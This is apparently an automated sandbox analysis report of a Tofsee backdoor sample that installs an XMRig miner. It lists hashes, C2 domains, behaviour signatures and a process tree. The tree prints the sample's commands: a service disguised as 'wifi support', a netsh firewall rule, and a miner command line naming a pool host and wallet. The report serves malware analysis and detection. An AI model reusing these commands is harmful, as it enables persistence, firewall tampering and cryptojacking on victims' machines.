Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-06-2023 07:19

General

  • Target

    4a458d803e8e61bc4ec636056019195a.exe

  • Size

    238KB

  • MD5

    4a458d803e8e61bc4ec636056019195a

  • SHA1

    6a4023f613128a75952bf45adb305bca1cea5661

  • SHA256

    28a6f8d393c0459c87c8ca21d7bad4fae89514118fc35a871b2b6fd7662c571a

  • SHA512

    b04b2af5c82416b6a510ee2fa77a878e9349b855ad47b59bd46f10b5fc8189df165ddfcd9333214c14b7ea061f9fe8515aded4e11d1837fe3744afbe2db7f7e6

  • SSDEEP

    3072:u+pCVP0S8pa6DuW6C1jhWrqNbBSpjI1AYm7FSaRxu3hAhjlhVcuBKy4:RbS8p8CBhzNbsKHLaR0xWhVRG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4a458d803e8e61bc4ec636056019195a.exe
    "C:\Users\Admin\AppData\Local\Temp\4a458d803e8e61bc4ec636056019195a.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1180
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ulfxtdfr\
      2⤵
        PID:1020
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lsvqpjjd.exe" C:\Windows\SysWOW64\ulfxtdfr\
        2⤵
          PID:1288
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ulfxtdfr binPath= "C:\Windows\SysWOW64\ulfxtdfr\lsvqpjjd.exe /d\"C:\Users\Admin\AppData\Local\Temp\4a458d803e8e61bc4ec636056019195a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3232
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ulfxtdfr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ulfxtdfr
          2⤵
          • Launches sc.exe
          PID:1520
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2060
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 592
          2⤵
          • Program crash
          PID:2072
      • C:\Windows\SysWOW64\ulfxtdfr\lsvqpjjd.exe
        C:\Windows\SysWOW64\ulfxtdfr\lsvqpjjd.exe /d"C:\Users\Admin\AppData\Local\Temp\4a458d803e8e61bc4ec636056019195a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:216
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3296
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2600
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 216 -s 512
          2⤵
          • Program crash
          PID:1892
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1180 -ip 1180
        1⤵
          PID:4376
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 216 -ip 216
          1⤵
            PID:2616

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lsvqpjjd.exe
            Filesize

            11.6MB

            MD5

            fd0498cd0ecdd097c8185a1c637031e8

            SHA1

            789b680df05b734809046bd8775bc1d05dcd1f10

            SHA256

            b7001e50f6a684d10686842f293ec4d6a6d225326f29d8830f28195310d91784

            SHA512

            b4b0138ccfc1bf8b7e570f2e7d7341207601c65ed93876127523698accedde8b461986e97c27be84ef6c72ae389bb36b2542e34b337df03eccef7100203c3970

          • C:\Windows\SysWOW64\ulfxtdfr\lsvqpjjd.exe
            Filesize

            11.6MB

            MD5

            fd0498cd0ecdd097c8185a1c637031e8

            SHA1

            789b680df05b734809046bd8775bc1d05dcd1f10

            SHA256

            b7001e50f6a684d10686842f293ec4d6a6d225326f29d8830f28195310d91784

            SHA512

            b4b0138ccfc1bf8b7e570f2e7d7341207601c65ed93876127523698accedde8b461986e97c27be84ef6c72ae389bb36b2542e34b337df03eccef7100203c3970

          • memory/216-145-0x0000000000400000-0x00000000006BD000-memory.dmp
            Filesize

            2.7MB

          • memory/1180-135-0x0000000000950000-0x0000000000963000-memory.dmp
            Filesize

            76KB

          • memory/1180-138-0x0000000000400000-0x00000000006BD000-memory.dmp
            Filesize

            2.7MB

          • memory/2600-197-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2600-199-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2600-198-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2600-196-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2600-195-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2600-194-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2600-193-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2600-188-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/3296-167-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-173-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-160-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-161-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-162-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-163-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-164-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-165-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-166-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-156-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-168-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-169-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-170-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-171-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-172-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-159-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-174-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-175-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/3296-176-0x00000000023D0000-0x00000000023D5000-memory.dmp
            Filesize

            20KB

          • memory/3296-179-0x00000000023D0000-0x00000000023D5000-memory.dmp
            Filesize

            20KB

          • memory/3296-180-0x0000000007C00000-0x000000000800B000-memory.dmp
            Filesize

            4.0MB

          • memory/3296-183-0x0000000007C00000-0x000000000800B000-memory.dmp
            Filesize

            4.0MB

          • memory/3296-184-0x00000000023E0000-0x00000000023E7000-memory.dmp
            Filesize

            28KB

          • memory/3296-153-0x0000000002370000-0x0000000002376000-memory.dmp
            Filesize

            24KB

          • memory/3296-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/3296-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/3296-148-0x0000000001000000-0x0000000001015000-memory.dmp
            Filesize

            84KB

          • memory/3296-146-0x0000000001000000-0x0000000001015000-memory.dmp
            Filesize

            84KB

          • memory/3296-144-0x0000000001000000-0x0000000001015000-memory.dmp
            Filesize

            84KB

          • memory/3296-143-0x0000000001000000-0x0000000001015000-memory.dmp
            Filesize

            84KB

          • memory/3296-140-0x0000000001000000-0x0000000001015000-memory.dmp
            Filesize

            84KB